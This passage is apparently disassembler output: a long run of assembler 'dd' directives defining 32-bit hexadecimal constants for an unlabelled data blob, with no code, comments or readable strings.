dd 9FFA474Fh, 822E1BDCh, 92119C45h, 6380B43Fh, 0D976958Ah dd 4E60B7FEh, 61B87F20h, 28BEF8D3h, 44B0536Bh, 65019068h dd 37262E6Ch, 5430CA29h, 38F4489Dh, 73009F22h, 0B6ADB9A0h dd 58FBAE08h, 1622D07Ah, 0C3D68F12h, 19777821h, 0CCCB9000h dd 2264F84Ch, 921B0183h, 9A266EA0h, 481C6031h, 5F896560h dd 8C4A49h, 0C0D8C997h, 905C5386h, 8B04C798h, 9FC63E33h dd 0A330D0D7h, 1766795Ah, 1E9B7F4h, 671E20C2h, 741DD568h dd 38F0E2DCh, 0BD553A13h, 32938402h, 817C07EFh, 809DF0A6h dd 0F5CBA199h, 1FD51F5Eh, 0F3871D54h, 214AAA08h, 0A07B9683h dd 9539E5Fh, 3546E664h, 5434A884h, 1C4F104Ch, 180E9448h dd 0A3F6866h, 2D4A587h, 641C0347h, 0BB267440h, 18C5B772h dd 74D76FB2h, 0C740E2F4h, 67D9E0EEh, 0E836F924h, 0EFF11930h dd 0C5335A3h, 0E7F80C68h, 9780ED21h, 10486590h, 1B2283EFh dd 31F02860h, 0CE1FC7ACh, 0CDE71510h, 87B100Ch, 543EAA99h dd 4D6080B4h, 6ECAE6C8h, 0B3CF0046h, 29CE53D1h, 78002136h dd 7976C437h, 90DF58h, 4A169D8Ah, 206D5C05h, 2A988200h dd 0BBBB4B8h, 4FAF0F22h, 0C001BE6h, 4DAA6EFFh, 87985B00h dd 0E8230870h, 0B35D00B5h, 804365EFh, 0C200D522h, 5FD66BCCh dd 58829837h, 4D3E3F55h, 0F3874400h, 93578A89h, 0D6853A02h dd 0E0BE9759h, 73CED1h, 0A1FCEF30h, 66F4D1A3h, 60C82C01h dd 324E88B7h, 782FD0D0h, 379D0B4Bh, 43001CF8h, 33C203E1h dd 0C1FBD91Dh, 8B213018h, 10613825h, 76896683h, 1800EAC0h dd 0E834158h, 28D826h, 81EF6560h, 527E624Eh, 296B0101h dd 0DD89C827h, 64A9D300h, 8C79B018h, 914FC10h, 362E379Eh dd 0AAC0090Fh, 9BEA7C22h, 8060A46Ch, 0EDC03197h, 0EC7A9C71h dd 1800DC51h, 13D07062h, 75DAA5CAh, 1F4F0296h, 0C33D78A1h dd 32B03900h, 505960C0h, 861958A5h, 0D75981F3h, 0CCDC7669h dd 1DA14760h, 15D48CB4h, 93D8CDAh, 5D6F7500h, 11A820C9h dd 0FE2EBE00h, 0D5AFD204h, 247F287Ah, 1268C2B5h, 0E4134894h dd 41606262h, 0D55564CCh, 0F220DA34h, 40759Ah, 5EE45C7h dd 0DC194CA8h, 0F45848D9h, 18CAC18Fh, 307471A7h, 55EE19F8h dd 472AA501h, 5F7D418Ch, 0E0D9F9D0h, 57F003Ah, 493DADDh dd 0C80FA491h, 0A0844DE7h, 0DB669AEAh, 954C1FD0h, 0E9DC80EFh dd 4DB811DDh, 58978D00h, 6152CF6h, 0FEA3004Eh, 0A93CB5A0h dd 50017951h, 7F937091h, 3FF40FF2h, 37890012h, 5D2E7552h dd 8B0062ADh, 80EBF1ABh, 738535Eh, 157763A5h, 45E10E2Bh dd 3F60077Dh, 0D898E0h, 20B64DD1h, 0DB72F8EBh, 84749506h dd 284964h, 6DECCDFh, 0B1484AC4h, 0E5AF2801h, 0D69B2689h dd 58CA60F0h, 0EC004EFEh, 57038D7Ch, 0E70BAA58h, 80DEF9D5h dd 82E8A77Ch, 3FC01C36h, 66A6C65Dh, 86073053h, 0D074B31h dd 0EEE26A60h, 3A2774C9h, 677FD49h, 0B294DF15h, 59F880ACh dd 0E42A3Ah, 0AA8FBABFh, 0BD917Bh, 0CA66885Eh, 0ED5F0EA6h dd 0C13F58C0h, 58E71h, 0E74EF86Ah, 2FBAFE06h, 3DF2C3Eh dd 5CE2B7B4h, 51E90067h, 615896CDh, 8500F8D4h, 10594B69h dd 72F28FBh, 6786434Dh, 0D5A4C096h, 730BA345h, 80C0CAC3h dd 50CF8B84h, 0ACBB3F1Bh, 42D9280h, 0C323E3FCh, 0AE4B5601h dd 1C55F6A4h, 0E42F76C0h, 0B11E1FA7h, 8AFF811Ah, 0BA6E434Eh dd 2F770080h, 0E8643C68h, 0A9420021h, 3E604172h, 0DE1C55E2h dd 0E1000C6Bh, 0A07B9A71h, 4DBB3E12h, 0D3DB0173h, 85F96E67h dd 28A5ECD8h, 8CBD38h, 944C259Ch, 0C16DEFC3h, 487AD830h dd 41BEC824h, 7070FDEEh, 805ECA30h, 5F7824Dh, 0FC584FB7h dd 3801F73h, 844ECB9Ah, 36F64015h, 395D008Ch, 0CE7F8CF2h dd 30230349h, 40507438h, 34C4FBE8h, 0D94AB730h, 8BD5B1h dd 0BC971F92h, 0DF0C564Fh, 0D2A76100h, 60428E99h, 0B4BA004Ah dd 0E6136388h, 7F00751Ch, 97AC7179h, 0A5AA5Ah, 1659CF56h dd 3708D7F1h, 48CD0F00h, 0F932B6C2h, 0E867034Ch, 2E835D0Eh dd 59C5C0C7h, 0CAC0FF43h, 0DC26CB9Ch, 30C36049h, 0B2225B8Eh dd 0CE974A07h, 0E5A056B3h dd 769C4940h, 3028CFCFh, 4B60C01Dh, 35BB6C23h, 0DC6FCA03h dd 64F039Eh, 38445278h, 1B0031B4h, 5559F6DEh, 7CE81885h dd 0BC7D3E9Bh, 39EB2F80h, 96BB1F07h, 2959CE00h, 85BF5044h dd 0AA7907A6h, 60C9FBCAh, 0E0232491h, 0BDD1FE1Eh, 20C70387h dd 4E83E680h, 0C6160934h, 838CB8A5h, 0B7005228h, 0E89E3AACh dd 17E8D8Bh, 0BE5A3BBCh, 808F0C07h, 4ACA3D10h, 0E67A3515h dd 0B1A0619Bh, 519707C9h, 0D34344A0h, 645B190Ah, 0AB00944Bh dd 0B77047DAh, 0C110006Dh, 23036544h, 0E3003E1Dh, 9F7B46A4h dd 69EA1638h, 0CF80F862h, 0FC492D59h, 0A14CA500h, 0F4D906CFh dd 644B006Bh, 0BEC63D84h, 530FB650h, 835F8573h, 812D2F5h dd 66CF5818h, 0F9D0C39Dh, 860DB004h, 3F620568h, 0D8E78780h dd 10F65094h, 0E66A404Eh, 7D67C12Ch, 0F03CD806h, 207DEA20h dd 0C8005C2Eh, 614ACB41h, 3EC02C9h, 0B7672DD6h, 4CC1CEE6h dd 0C1080E0h, 7C63A229h, 0E737EA6h, 0E483682Eh, 96BF5660h dd 0B600B4D9h, 0EED44F19h, 76A321h, 0A9223972h, 20D50332h dd 7845A61Dh, 158B2BC0h, 3B8C23h, 84ADFF1Ah, 94E1B512h dd 1EC6A648h, 9680796Ch, 0A83262DDh, 82C50095h, 92690E30h dd 9A00E02Eh, 55D3A524h, 139CC78h, 5DD9E56Ch, 0F0777BC7h dd 3CE8E3BFh, 24838500h, 5673AE2Ch, 48E50190h, 0BE92B920h dd 0E845F043h, 0DAA9D400h, 0EDDD3A55h, 0BFDF014Ch, 2B270672h dd 7841D6A1h, 0B5089899h, 796221h, 14890B06h, 0FFA8C53Ch dd 5540E21Eh, 0E380921Dh, 7D9313B9h, 0BD4C01E4h, 48DF76DDh dd 7F4093DCh, 555A0200h, 381306B1h, 30746942h, 1E20DFD3h dd 0D17C2ECFh, 0A9248501h, 12E428BAh, 3061C1D8h, 0BF28DF49h dd 0CB1D769Fh, 70B60791h, 5A4C0319h, 0AB4952F8h, 4301ECD8h dd 8820A36Ch, 0C2908C7Bh, 0D9554F14h, 85A244h, 0E4645172h dd 0E64DC51Ch, 8EDCAE01h, 608075CBh, 50C25FA5h, 0E9008C36h dd 9CBFD4FBh, 24A94926h, 3929040h, 7FA67203h, 13DEEBE8h dd 170ECEF0h, 2FF1D00Fh, 27682286h, 56C609Ah, 497B005Fh dd 7AF4BB95h, 0E732BE55h, 0BFEA1048h, 66DA8604h, 330010D8h dd 92E8619Eh, 0FDB154Ch, 977131ADh, 0DA423200h, 0B40685EDh dd 0DFD833E4h, 11194229h, 0F121C40Bh, 90DEE208h, 0C08E840Dh dd 9C429548h, 405124A8h, 2C3F745Eh, 0FA9D0014h, 69E726D2h dd 637B4068h, 0BFCCC100h, 242D4DCh, 0A7A9002Eh, 0B77B9E82h dd 0BD015940h, 9349AEF2h, 0F9DC2F5Ch, 1B310039h, 536AB4EAh dd 691F4CA1h, 0B58084FCh, 9A220121h, 0CFA04C32h, 90F32Eh dd 1F2F393Dh, 70F92DA2h, 280054BAh, 0CC227546h, 4F22Ch dd 18B408D5h, 0AD81CAE0h, 0FCE68D01h, 0D2893166h, 1EB21080h dd 8AB8046Eh, 3988D90Ah, 0C281BC82h, 0D6B729EDh, 9E1E28BAh dd 0B8CB47F6h, 72B2A0A6h, 0EB8E73Ah, 8F00E190h, 0B63F22CAh dd 0F505D64h, 32F81C1Fh, 69467D40h, 5F00F0ADh, 345156DDh dd 1FCFE8h, 0A42AAFAEh, 0E7079528h, 44BACD15h, 5F1F76FCh dd 1880802Fh, 0DF684084h, 0B91601ADh, 0F9E90496h, 115DE443h dd 4CDB4900h, 10CC2D81h, 6A0B0DCh, 2B563A92h, 76002040h dd 0ABA1D1F3h, 0EA23A3h, 0C02E6A6h, 0FDC77F47h, 0F0B81A60h dd 0EEBE78A1h, 534E00C4h, 257E4657h, 80ED6592h, 5A9A59C0h dd 3852D3C8h, 6E1C281Ah, 79B871h, 0A98E290Bh, 3A63E0D7h dd 19EB9B00h, 49713709h, 8DDF038Ah, 0A5CD36E5h, 60F5918Ah dd 12B4BCBFh, 0D25D2Eh, 66F37870h, 4400E017h, 639BFD71h dd 8BEEC1h, 47CA1E52h, 97FA2EA1h, 0A6406600h, 91D1B81Ah dd 5148000Bh, 0F33EC5D7h, 6A007718h, 5480720Fh, 1A79687h dd 43BFE342h, 6095687Ah, 13000C8Dh, 5DBBE499h, 3E75EB12h dd 0BD00A086h, 2B906348h, 0DD003EA9h, 47A82DBCh, 5B03Bh dd 6313574Ch, 4204D967h, 0C00083EEh, 816F1AD4h, 2DD109h dd 0DEC2909Eh, 8D42310Eh, 9FAF6D39h, 2CC3CB88h, 0D8B51DDBh dd 1E1A6341h, 87EA7C1Eh, 908CAADEh, 0EF9122F8h, 0CFF27AF8h dd 5BDC8800h, 0B48639C5h, 929302A6h, 0FA9AB218h, 24331441h dd 0BD077394h, 34E014B0h, 98E641E0h, 29550020h, 0D4F5D50Ah dd 3F055CE8h, 28AB4C6Bh, 41B38000h, 0B8434E42h, 810E000Eh dd 73AD13A1h, 0E271DAF1h, 0B49E412Eh, 79DEAF1Dh, 6EDBD347h dd 0F87FA7D0h, 0CA17002Ch, 8932072Fh, 0E800A9DCh, 0F2140CECh dd 0B5318Fh, 95919F38h, 3503570Eh, 0D8BAF00h, 2145245Fh dd 0A8E636h, 9648E3B6h, 3191FFD4h, 1FF8F148h, 6C00CBFDh dd 0AD8FC478h, 0A51600DDh, 5702BF80h, 5803CEB5h, 296B17A8h dd 227BB818h, 0F0880473h, 0C091AB40h, 83009C0h, 530003F8h dd 0C0D2CE64h, 0FE0CDE8Eh, 0A989003Dh, 0FDCAF071h, 0E0009B4Bh dd 0E280EA0Eh, 0E3D8CDh, 2AA71B47h, 0F6535948h, 57FFF400h dd 6312EFB8h, 4B250032h, 3D9B7C14h, 1600D468h, 23BB8F93h dd 0B62AE9h, 62701E12h, 40B82C2h, 4F8ADA00h, 782861C0h dd 38200031h, 0C7657B74h, 9A18623Dh, 0ED187902h, 12243BCCh dd 0EA386C80h, 5A5206A7h, 0EEC77E01h, 0D978362Bh, 4321CCh dd 0FBB89F60h, 8F1373B9h, 0BE50FF00h, 0D40CB529h, 282F6052h dd 2D70464Eh, 0D36C2B00h, 0B30ACF6Bh, 4806E4EAh, 27006C89h dd 0B634962Eh, 93BB5C0h, 0EEBC8038h, 2161161Fh, 0F67E0F98h dd 4B609F37h, 4172FDFFh, 0B33B3F7Ch, 3AC51D61h, 0A9AC5300h dd 3F65Eh, 13715A9Ch, 0ED8FEA55h, 0B50AF800h, 0CDDED1E6h dd 0E0145B30h, 0A4056E19h, 1103BF2h, 178F1BC1h, 0C6FE70h dd 0FEFD61Ah, 4124D97Ah, 6A8ACA00h, 44100EADh, 65933BA3h dd 8B687680h, 954E23ACh, 7CA24607h, 7590CEF1h, 0F469E070h dd 36B0D0h, 0F5E8D21Eh, 0C501AD5Ch, 0CE416600h, 0EDEB85B5h dd 20D64C45h, 0B9B19514h, 0B630810Fh, 435DE007h, 37D87565h dd 5004FD3h, 0EF5BA542h, 90F9CE2h, 1D9449B4h, 0ECDAF500h dd 8500E807h, 0D7E31456h, 3F2B12Bh, 3EB53BDCh, 0A07CE940h dd 0D6896906h, 10FE10h, 0CE801A05h, 7D0C78Ch, 155F2B00h dd 0C022FC98h, 4EE631h, 0EC3587D7h, 0A8854086h, 0EF0020F2h dd 1992A3ADh, 3A97132Bh, 0F000C260h, 6D3D46F8h, 21054077h dd 0B78818A2h, 235BA480h, 12E2008Eh, 0B534F544h, 0D00558D4h dd 0BD3A3D33h, 6647E480h, 900F01B8h, 6F363454h, 6A2CE46Dh dd 0D841500h, 94FA61EEh, 0E71C00CCh, 9DEBBAADh, 0B37E3342h dd 0FC9ADC01h, 5C43A7D9h, 0AD45C0h, 4A5A202h, 0C6037191h dd 73B2003h, 0E83D80A9h, 0F56C29h, 0A8BAF021h, 4A363966h dd 51A05200h, 27B52F80h, 0FADA3A57h, 2595E400h, 0BFDA6CAh dd 7D961500h, 0A0B334AEh, 6DF90056h, 8258C676h, 77005AFEh dd 4C8B98BAh, 3BCDFBh, 0E8469F6Bh, 0B59D8D95h, 0C442240Eh dd 939E0292h, 84A58901h, 0E0809A65h, 18BC781Ah, 0EAEAE6CEh dd 0F8009E94h, 4273E1A0h, 4C03BAh, 2F6D4338h, 293346FAh dd 87788870h, 0B79A0100h, 4EE0E922h, 8A2400CAh, 4115F50h dd 2000271Fh, 34F3EE75h, 0F0BC710h, 160871BEh, 199B3120h dd 9300F10Eh, 464AED4h, 1EBFAA1h, 0F5769779h, 81FB8D82h dd 0B3DE1010h, 0DAFC2E84h, 0CE3D03C2h, 965D6F25h, 6EA2FDF0h dd 0D826AE00h, 0C4D2B6F9h, 81E6186Ah, 0DE4B4104h, 162DE500h dd 8A312141h, 70DC395Ah, 55979B00h, 2BEC48EDh, 0C12C80Fh dd 0DBCAA0ABh, 7D326E90h dd 4FA0010h, 62A525A8h, 5079A1Ch, 1FB04D3Ch, 0E0B6DE22h dd 18695DAAh, 9A03AE2Ah, 68002248h, 46DA7207h, 2E6726h dd 30662A3Bh, 0BE40F1A4h, 0FCCA3500h, 8420B36Bh, 5E3B009Fh dd 0A28F8BBh, 0BE00CFD6h, 37F01F1Bh, 7AEE7D9Dh, 3BCC0706h dd 80705EA7h, 2982B55Fh, 67409B00h, 0B68393DFh, 4DB0097Dh dd 99FC5220h, 0D4983700h, 3B6966DEh, 5300D72Fh, 567091EBh dd 300FF2EFh, 0A3EC4A9Bh, 1A48F96h, 3A5183FCh, 0F85B4675h dd 8B0A512h, 443D7100h, 39C2EECCh, 43D7002Dh, 31AC2B59h dd 8B3D9F24h, 5AB100E5h, 7886B7C9h, 826A004Eh, 37E4EAAAh dd 610004BCh, 4F48799Ch, 58D9F659h, 0EE00A3CAh, 95F3B4A8h dd 98601675h, 816ACE90h, 0B1F00E2Ah, 0F960A48Ch, 0A666575Dh dd 0ED30F800h, 0BDE348D0h, 29CB09Ah, 5F179036h, 0C540FCE6h dd 0FE0EBB1Fh, 2169D8E4h, 0BDCA531Bh, 0D7FC880h, 2B96BC1h dd 66A5EB03h, 711B6121h, 0CEE800E0h, 0EACD0648h, 9F05E396h dd 9061986Fh, 95B73AC0h, 8CF8E7h, 384D3BD9h, 17B05E47h dd 974C300h, 8EABF21Dh, 22BA3C8Bh, 6E80B5B9h, 394234D1h dd 687DE199h, 0DF0B2300h, 0C8CF19BEh, 14610B2Ch, 800858Ch dd 841E768Dh, 3949FE00h, 0E9AA6B7Fh, 995428F0h, 7933EC8Ch dd 60E181h, 0B2530EABh, 9EE283D0h, 7840B877h, 6B00997Bh dd 0ACD275EDh, 0C70AE4Ch, 0B76576FDh, 0C77A4D20h, 0D010521Ch dd 0CE5AB240h, 6CC07Fh, 197C9F6Dh, 4C8D0B62h, 0CC7EC24h dd 59532860h, 0EEC9020h, 0CC5729E6h, 3B030500h, 0BD3B33A0h dd 1E930399h, 9C18A4B1h, 0EE3FCCC0h, 707E1CC8h, 0B5D9405Dh dd 8C86EF5Ch, 6AE08200h, 0C4EC0774h, 1F1000BEh, 870AFAF8h dd 3500BAE3h, 661C0413h, 92A67F6h, 0C462BB42h, 0C36B7000h dd 0FC00E1D4h, 0D8F61CB9h, 9031A9h, 520B67FBh, 48A86459h dd 9870ED1Ch, 0D67E66C0h, 3B4E9DDBh, 8F00DA6Eh, 6BDF84D4h dd 130031DDh, 43C0643Fh, 52AC430h, 2E955441h, 0EB4888CCh dd 0CABD7317h, 8318DD00h, 0C8E78Fh, 0C75002B3h, 7704B07Fh dd 7E3D280Fh, 82114058h, 813808h, 327CF802h, 1B95A55Eh dd 77D7E002h, 40A10E06h, 129094h, 0FC0F31B4h, 0A558EE18h dd 63DC48h, 9B3A9263h, 5D070h, 1064C438h, 6CD1A3BDh, 5B795D04h dd 0BCC055DBh, 2452D3DFh, 0E0103265h, 8C684940h, 17935007h dd 9880731Ah, 1C5A066Ah, 13B6D9D3h, 21BC27ACh, 0AF0577h dd 596FE6E0h, 3802F406h, 4D7401A0h, 3D65F880h, 403DD93h dd 0BE0D15B6h, 2980A7D1h, 49D517A7h, 4407145Fh, 8068C85Dh dd 666F5CE7h, 0BD2F8600h, 5A7F2143h, 642800D6h, 4E2051C2h dd 331294DEh, 0BC01CDB2h, 0CA266A7h, 9EC82C65h, 0F4514C58h dd 0BF5A0380h, 0C404A7C7h, 7BA2D717h, 0AD7F8091h, 60E424CCh dd 2D8B10B9h, 4D49B72Ch, 31261278h, 284C4000h, 8FBA7Eh dd 0AF275E6Ah, 0EAB5D65Bh, 92003173h, 79FA868Eh, 0FC3A455h dd 0F991E5BAh, 3ADAB102h, 11EE63DDh, 1CA2850h, 7B124BF2h dd 8050B0ECh, 78C5712Bh, 0DB250113h, 76069D82h, 80BE61BEh dd 32981AD9h, 5DEEECh, 33AE92B1h, 201B0836h, 0F0ABBD03h dd 0B0A3BA47h, 756F129h, 0FA473F5h, 9D406C6Dh, 21DAFB1Dh dd 0A3800464h, 0B445CE1Ch, 0EB6B008Ch, 0B3533883h, 8950B230h dd 6790DA88h, 0A94B61Ch, 14D49180h, 1BB3B29h, 0FA15F292h dd 0F0D1F16Dh, 0DF09C4C9h, 5842034Fh, 0EEB9248Ch, 94470300h dd 5070CE79h, 0DED9AE00h, 0B032F629h, 3E770002h, 0BC400773h dd 0C658065Bh, 0A49E00C8h, 0B3A3B488h, 69FC2Dh, 9F307661h dd 3DCC2C16h, 0B998470Eh, 0BF1C637Dh, 808CE29Ah, 0DF8F7FACh dd 0C2D53D2Ch, 4F60380h, 0C671994Bh, 22C51600h, 0B215683Fh dd 0CC76F7h, 953DF217h, 58FE0DF1h, 0AA5BA300h, 66998D4Ah dd 24843FFDh, 3F016C5Ch, 1057CC1Ch, 1647FC58h, 283ED7B8h dd 0FCA30049h, 138EDE11h, 53F900BCh, 0EE8B6045h, 382C9A47h dd 0D540988Dh, 5598CEh, 80507AA7h, 2939FE30h, 7870B89Ah dd 3B00C87Dh, 62177FDFh, 68B6CD36h, 0C0A4DAh, 1B0D5275h dd 0AF031C01h, 0B3E7F8E9h, 9F661310h, 77400045h, 1F4FA883h dd 6620B09h, 2930031Eh, 73E8A96Fh, 480870h, 9F5C14D9h dd 1B85A53h, 7ED06302h, 0C05F64DFh, 0F6E93854h, 4BD30098h dd 0FD8A251Ah, 0EEF6CB6Bh, 0F843D003h, 0E02AFE0Ch, 7819C0h dd 0DC535231h, 0DFFDC7BCh, 5C63E400h, 99159BB4h, 0B96E0070h dd 437EF00Ch, 9E0C7FA4h, 0F80E6F78h, 0C3D5131Fh, 0F2A2008Dh dd 0CB8FA5ECh, 6ADDE600h, 3B04323Eh, 4D3700C8h, 93F79473h dd 96E0FFD9h, 6D0BD3B8h, 11FADDh, 300629E4h, 0DBAA00DEh dd 0C0B916BDh, 4A014797h, 7E3A1360h, 746049F9h, 0FB992CDCh dd 7CC1FE4h, 206D2047h, 0AB30CDD0h, 0D4A2C300h, 43F7995Bh dd 0F3E72411h, 5F6F0930h, 12051500h, 0E60213CBh, 0A06A3C54h dd 0A450B0h, 0E221D78Ch, 8714BCE7h, 0C36E3F00h, 0C92AFD16h dd 190B0E13h, 37C3BB7Bh, 0F3FAB40Eh, 4A6F3040h, 0BEF05C41h dd 227E28C7h, 0B87F3FDCh, 405FF29Fh, 2B729F70h, 4B09C160h dd 80D176A5h, 62FB7D80h, 0AA6E0980h, 18AE0EB6h, 47469C80h dd 0F200FA88h, 0DF78B4A7h, 58B52D6Ah, 4030452Fh, 0C8D1C928h dd 741F0603h, 0C1E1D654h, 0BDF3B30h, 0BC88E721h, 0DD657C81h dd 0AA583495h, 23A2FB02h, 0E0BFDB2Bh, 2D4098h, 56029BA0h dd 0E491D95Eh, 6B263F00h, 0A5051735h, 0D34200FAh, 1CC66E08h dd 0CDE8BE5Ah, 44019300h, 762F1562h, 1092618Ah, 0F35D9AE5h dd 0B9B2AF0h, 7DA3DA00h, 70D4FC3Fh, 791E000Fh, 4C5C6F2Dh dd 6409A76Ch, 876AD1h, 2632DB64h, 0B2CB0047h, 441C7A79h dd 0F6000906h, 751FB40Fh, 4562C0h, 2E5A0791h, 9AC96771h dd 7B432800h, 0AAF52CABh, 9B31001Fh, 0BE78264Ah, 2D26A127h dd 5B40E0DBh, 577DD4h, 846CE792h, 0CB91A804h, 0D62CCA76h dd 14001E1Eh, 53F0EC66h, 0B2A600B1h, 7A6FDE92h, 384A3AE9h dd 54D0F405h, 50D75882h, 23861F68h, 0AEC3D4D8h, 9A40590Ch dd 137D1919h, 0D6A11D03h, 0A0A40860h, 0CED41784h, 0D7C57B20h dd 22C3C06Ah, 1A003388h, 8A73EF02h, 0FA821F7h, 98F2859Fh dd 7A9C1280h, 0D107C25Eh, 0D3FBAEE3h, 9BCC79B0h, 0F31413F2h dd 0B3A80080h, 34521223h, 4B5F80DEh, 0E7A17B46h, 0D1E53E31h dd 0D7761B8Ah, 415B808Ch, 122BBB9Ah, 818B117h, 58CA590Dh dd 0DBEC2080h, 0D53605BEh, 59040714h, 0F34A00B7h, 0EE71989Dh dd 0E20C3BE6h, 25067080h, 0CDBBFA59h, 0B2627B12h, 802CA30Eh dd 4CDD3A18h, 0F31B005Eh, 242B445Bh, 0AB009C01h, 98DE061Ah dd 2F5CC8CEh, 690036CFh, 0D4815A84h, 0BA6F3Fh, 89B7172Ch dd 768271h, 0B59179FEh, 43C8027Eh, 0EF1E863h, 4C1089CBh dd 780411A3h, 0E4A8B5F1h, 0B600506Eh, 5391AE6Ch, 0C0DCCAE6h dd 4F8FA2B4h, 0F75206Ah, 0D85D680Ch, 88BF29A8h, 0F207F4C1h dd 23763C4Eh, 0C3AD8B50h, 7614B811h, 5CDC0053h, 2671D175h dd 0CD008091h, 0AA21A2A9h, 3842E0h, 0D7626A82h, 0E36109F7h dd 851D1400h, 0D992A850h, 982C000Eh, 0A62EA32Fh, 0F6A03C08h dd 333E3FBCh, 866300D8h, 93605EC4h, 81738Ch, 70469522h dd 67E4A2EFh, 79487D0Ch, 5A1071h, 47D75404h, 7701DE6h dd 65B90300h, 56FE11B5h, 2E0804D5h, 80B68DE8h, 91F4DC7h dd 0C957301Dh dd 0D821EF80h, 132ABCA0h, 0E0A714h, 9F84F770h, 0D4E0F809h dd 7514E00h, 95A84935h, 7CC8FA6Eh, 0A7EE01h, 1D685F65h dd 4BEF3884h, 7CBFA100h, 1893B6D0h, 0F65200F2h, 0B58FE7D5h dd 0A0002CD2h, 0A86D60CDh, 7250C13Ah, 89780012h, 9CC5925Ch dd 0B73B3BADh, 0D7B30054h, 155A68BCh, 0C4081D0Ah, 0F9574E88h dd 0ED2B5540h, 6500C7E8h, 0D4A621B0h, 153967h, 0F48F8788h dd 0C63127A7h, 9D443400h, 0A928523Fh, 22170033h, 0D0B89FDDh dd 0E9000DFEh, 8CDE9CE4h, 13BD91h, 0D6A0F575h, 0E8D3A229h dd 2A04921Fh, 5E0CF126h, 0E8B718D1h, 5C9BE07Eh, 3A009DDEh dd 0B6A80293h, 4EC671Eh, 17199E00h, 0A31D740h, 0D01D13EBh dd 0D25001Fh, 0FAFC9721h, 0DB87C400h, 187F79DDh, 80BF3FD1h dd 3BE26F80h, 1CC1EE33h, 35FE9100h, 605D82AAh, 0FBC83C5Bh dd 0CC7D7880h, 0B442F994h, 40B03403h, 0E01D3B95h, 767B56h dd 0B96D049Dh, 0FF4E3363h, 180FB47Ch, 0CF8AB277h, 0C2FAE6E8h dd 0F2992780h, 8B002478h, 4AA11EF6h, 0D86BE2h, 0F9CE83BEh dd 987FA55Fh, 710028B8h, 650111C5h, 0B0BDB889h, 88360068h dd 7A8129F2h, 2400797Ch, 27469E4Fh, 0B997060h, 183748D6h dd 0BC9B7B00h, 0D13D19F4h, 43DA1F26h, 7CFF455Dh, 0CA05CE00h dd 79E4314Eh, 0E37600ECh, 925FCFB6h, 437F06A4h, 968BB00h dd 7E7A63Dh, 7798006Ch, 2CF9FF44h, 0C260E261h, 2064C540h dd 21B00EAh, 0B24AA16h, 0BB016D13h, 85821B2h, 0E8449771h dd 6FE390C0h, 18A200C2h, 0A49B1CC7h, 0BF004D4Ch, 339D640Ah dd 85A8E1h, 63888EB0h, 0C5518F1Fh, 0E9315300h, 34F02F24h dd 7D0DEE59h, 0B91C006Bh, 0ED8A9BC9h, 0EE00E268h, 0F8BCDBA2h dd 0C014482Dh, 82296C38h, 8C031B37h, 477E07F5h, 27C8008Ah dd 0F611AE76h, 0DF00BEE4h, 5D1A4106h, 457F89h, 0C395679h dd 77EEAA96h, 32ACC900h, 58767A99h, 0D44B0031h, 287C3457h dd 7950F35Bh, 0DA061D8Bh, 298AD050h, 0B78D0CE8h, 0B4708FA9h dd 0CB2F2002h, 980F43CCh, 7193598h, 0ED8065B3h, 0DBD4603Dh dd 940F715Ah, 60A51C79h, 27833A0Eh, 141DFCF2h, 0FC2B5B61h dd 0A7C8F00Fh, 17D8EE40h, 407DB7C0h, 5233F700h, 0EBAC3E61h dd 0B6EC3E63h, 35E54200h, 0BBBED71Dh, 0AA8F7507h, 419094B0h dd 0C1F13Ah, 192AA52Bh, 6BC57B74h, 8E519B00h, 0F8C824FDh dd 0C7D800B0h, 0A07F0DF9h, 0F6003CC4h, 5BEF8E50h, 13C00726h dd 0F519C05h, 0A040880Fh, 4371E9C1h, 17001B71h, 85BCB58Dh dd 0E4B766Ah, 0D0B12D10h, 10062907h, 874D803Ah, 0A1C59E03h dd 0E9129604h, 9C404FBAh, 20DB2Eh, 6E2565CBh, 10B77393h dd 0BD11FD03h, 0C844EA7Dh, 2416409Eh, 1820A9D5h, 0BCCEFAA6h dd 6AD88D00h, 7D42AB66h, 7CC70479h, 80BBCB61h, 8127EA8h dd 1FDC0300h, 0D3FC21E4h, 0AC354970h, 2C26D900h, 80BEE9AAh dd 4379A703h, 1F2A0944h, 8182DF28h, 6A8A0686h, 1B70205Fh dd 704BF201h, 0E3681B2h, 0FCE8EE60h, 9FB500A1h, 0C15C9DCDh dd 0D50075C4h, 0F0763C2h, 0EAB8Ah, 65CF1FB5h, 0A70844D0h dd 2C73B701h, 0FDC32B5Fh, 92362E0h, 35C7944Ah, 46006C09h dd 20D7B1A6h, 86248578h, 73074CAEh, 136027FAh, 0BC34Bh dd 67A76D46h, 4FF87121h, 80B47C24h, 0CC659007h, 1533E490h dd 0D9EC24FCh, 71BC0014h, 0C9DF92B5h, 701EF090h, 2D40EB6Dh dd 64CE885Ch, 522600F9h, 0A173B4F3h, 0E20095D1h, 17C3D8A7h dd 60A00192h, 0ADCC020Ah, 0C00E850h, 0E1F77894h, 0B2C58C6h dd 1E2A681Dh, 0FC2EBD00h, 0F200B2FDh, 58D0C394h, 5C48B1h dd 9278D402h, 0CD59387h, 0D686BE09h, 0BAC08036h, 149BB8h dd 71409D0Eh, 0EE6F1D02h, 9EF36800h, 63E8E1B2h, 0FE585C45h dd 34882701h, 70412CC9h, 47032805h, 390D0E1Ah, 38308004h dd 1F97707h, 3D16123Fh, 60FE793Ah, 0FF002A2Ch, 81179B09h dd 77B702Dh, 0D759A56Eh, 28EC81CFh, 1F109063h, 60D12911h dd 16E9F520h, 180C003h, 4B3CE8Fh, 6A2FD200h, 1C90B2DFh dd 8D7671h, 9BBEB465h, 72E966C6h, 91075975h, 6FCF90DDh dd 0A0975C53h, 0C0E35EC3h, 2DD5DC60h, 0D898BE3Ah, 0A6219060h dd 0E49B3470h, 29D46020h, 8491BFEBh, 0B32A5515h, 7E5C018Ch dd 72A67980h, 1EDBEDD8h, 8BBB906Dh, 2300E3B4h, 7FC508B2h dd 737CFB03h, 89BC89C1h, 0AC04181h, 30FF003Ah, 72368EC4h dd 47009E13h, 855BC68Dh, 42B064h, 800F79E8h, 61D5373Fh dd 96B8FB0Ch, 4E81BAh, 159FF668h, 48DE68Eh, 7A1F9870h dd 0B9B0B9CAh, 71E7BDADh, 0EE3700EDh, 0BE9C09F5h, 58008856h dd 0E9D1333h, 178DCA8h, 590C7E87h, 80C9E716h, 515E2F60h dd 0B03CCA20h, 50DF6Ch, 74D8694Ah, 5E007142h, 223218DBh dd 7A64B7h, 0E2977584h, 79290962h, 0A41E0828h, 7B44AA3Eh dd 2E0054F4h, 538EF767h, 0F2961C33h, 714A0073h, 361A3EBh dd 0F41717F9h, 